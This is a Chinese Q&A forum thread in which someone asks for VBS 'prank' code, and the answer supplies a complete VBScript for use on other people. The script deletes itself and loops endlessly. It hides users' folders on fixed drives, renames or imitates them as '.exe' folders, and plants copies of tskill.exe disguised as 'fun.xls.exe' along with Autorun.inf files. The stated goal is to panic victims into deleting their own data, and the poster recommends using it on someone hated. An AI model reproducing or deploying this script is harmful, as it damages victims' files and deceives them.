vbs整人代码谁有
发布网友
发布时间：2022-04-23 16:16
共1个回答
热心网友
时间：2023-09-18 09:43
有人要VBS整人代码，我就写了一个，如果玩笑开得过火，千万别骂我啊~
简单描述一下：文件夹同名病毒（Autorun病毒）大家都熟悉吧？效果就是那样（不过放心吧，绝不是真的病毒，骗人的），试想，如果有人中招，他会怎么办？杀毒？没用（因为根本不是病毒），情急之下咋办？胡乱删一通，抱歉，他亲手将自己亲爱的文件删了......
废话不多说了，代码如下，大家知道该怎么用：
''''''''''''''''''''代码开始''''''''''''''''''''
OnErrorResumeNext
Setfso=CreateObject("Scripting.FileSystemObject")
SetCx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
SetFdrs=fso.GetFolder(C).SubFolders
ForEachFdrInFdrs
IfNotfso.GetExtensionName(Fdr.Name)="exe"Then
fso.CreateFolder(C&Fdr.Name&".exe")
Setfun=fso.GetFile(C&"WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(C&Fdr.Name&".exe\fun.xls.exe")
Setauto=fso.CreateTextFile(C&Fdr.Name&".exe\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Setauto=Nothing
Setfun=Nothing
fso.GetFolder(C&Fdr.Name&".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
EndIf
Next
SetCx=Nothing
SetFdrs=Nothing
Setdrvs=fso.Drives
ForEachdrvIndrvs
Ifdrv.DriveType=2Then
Ifdrv&"\"=CThen
Else
SetFdrs=fso.GetFolder(drv).SubFolders
ForEachFdrInFdrs
IfNotfso.GetExtensionName(Fdr.Name)="exe"Then
Fdr.Name=Fdr.name&".exe"
Setfun=fso.GetFile(C&"WINDOWS\system32\tskill.exe")
fun.Copy(drv&"\"&Fdr.Name&"\fun.xls.exe")
Setauto=fso.CreateTextFile(drv&"\"&Fdr.Name&"\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Setauto=Nothing
Setfun=Nothing
EndIf
Next
EndIf
EndIf
Next
WScript.Sleep60*1000
Loop
''''''''''''''''''''代码结束''''''''''''''''''''
打开记事本，复制，保存缀名为vbs格式
注意：此代码不可乱用，可能会把人弄疯的
除非是你最恨的人
